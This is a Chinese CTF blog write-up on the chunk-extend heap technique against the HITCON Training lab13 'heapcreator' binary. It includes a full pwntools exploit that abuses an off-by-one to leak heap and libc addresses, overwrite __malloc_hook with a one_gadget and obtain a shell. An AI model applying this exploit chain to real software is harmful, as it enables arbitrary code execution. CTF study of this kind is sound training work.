CTF-PWN

pwn老萌新重拾pwn梦想--chunk-extend

2019-03-21  本文已影响9人  白里个白

写在最前面

不知不觉已经是2019年3月下旬了,过去的一年里,我将大部分的时间和精力都花在了复习考研上,本来想学习pwn的计划鸽和很久,现在终于有时间将以前pwn的知识捡回来,同时继续我的pwn萌新之旅了.看着身边的人在这一年里,成长进步了很多,许多人已经变成大佬,我这个老萌新也要加油了.时光匆匆,不知道我这个老萌新还能适应ctf吗?

前言

chunk-extend是一种ctf中常见的套路,他能带来的好处也很多,比如泄露heap地址,libc的地址之类的,如果条件适当,我们还可以配合其他的堆利用方法,实现getshell等目的.
效果:

题目

HITCON Trainging lab13
题目链接
看下这个题目
这个题目里的edit函数中存在这样的代码:

edit

其中heaparray[v1]中存放的是chunk的size,(*heaparray[v1]+1)其实就是heaparray[v1+1]中存放的是堆的指针.这个题有这个洞就够了.
在探索它的create后,发现这个题目简直不要太友好,因为heaparray就在堆上,我们甚至不需要构造fastbin-attack之类的条件,直接改heaparray上的指针就好了,但是我还是想在下面把fastbin-attack的思路简单总结下

思路

上述已经很明白了
第一种思路:直接修改heaparray上的指针
exp:

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

r = process('./heapcreator')
heap = ELF('./heapcreator')
libc = ELF('./libc.so.6')
one_gadget = 0x4526a

def create(size, content):
    r.recvuntil(":")
    r.sendline("1")
    r.recvuntil(":")
    r.sendline(str(size))
    r.recvuntil(":")
    r.sendline(content)


def edit(idx, content):
    r.recvuntil(":")
    r.sendline("2")
    r.recvuntil(":")
    r.sendline(str(idx))
    r.recvuntil(":")
    r.sendline(content)


def show(idx):
    r.recvuntil(":")
    r.sendline("3")
    r.recvuntil(":")
    r.sendline(str(idx))


def delete(idx):
    r.recvuntil(":")
    r.sendline("4")
    r.recvuntil(":")
    r.sendline(str(idx))

'''
test for off-by-one
'''
create(0x18,'a'*0x18)
create(0x18,'a'*0x18)
print r.recvuntil("\n")
edit(0,'a'*24+'\x71')
print r.recvuntil("\n")
'''
sucess
'''

'''
leak address 
'''
create(0x10,p64(0)+p64(0x21))#2
delete(1)
create(0x60,p64(0xdeadbeefdeadbeef))# 0x40 info:60 1
show(1)
r.recvuntil('Content : ')
r.recv(8)
a = r.recvuntil('Done !')[:-7]
'''
free chunk into fastbin,get heap address
'''
heap_addr = u64(a+'\x00'*(8-len(a))) - 0x0a 
success('heap_addr: '+hex(heap_addr))

'''
free chunk into unsortbin,get libc address
'''
create(0x90,p64(0xbbbb)) #3 info d0 0xe0
create(0x10,p64(0xaaaa))
payload = p64(0)+p64(0)+p64(0)+p64(0x21)+p64(0x100)
edit(1,payload+p64(heap_addr + 0xf0))
delete(3)
show(1)
r.recvuntil('Content : ')
a = r.recvuntil('Done !')[:-7]
libc_addr = u64(a+'\x00'*(8-len(a))) - 3951480
success('lib_addr: ' + hex(libc_addr))

'''
pwn!!!
'''

create(0x10,'a')
edit(1,payload+p64(0)+p64(0xa)+p64(0)*11+p64(0x80)+p64(0x20)+p64(0x10)+p64(libc_addr + 3951376))
edit(4,p64(one_gadget+ libc_addr))
'''
change the content of heaparray.hijack malloc_hook.
'''
r.recvuntil(":")
r.sendline("1")
r.interactive()

这里注释比较清晰了,这里我覆盖了malloc_hook,在第二种方法中,也是可以的
第二种方法:fastbin-attack
就不贴代码了,也比较简单,地址都泄露出来了,只要接下了构造0x70的fastbin就ok,直接指向malloc_hook,我一年前的文章应该也提过类似的方法.

上一篇下一篇

猜你喜欢

热点阅读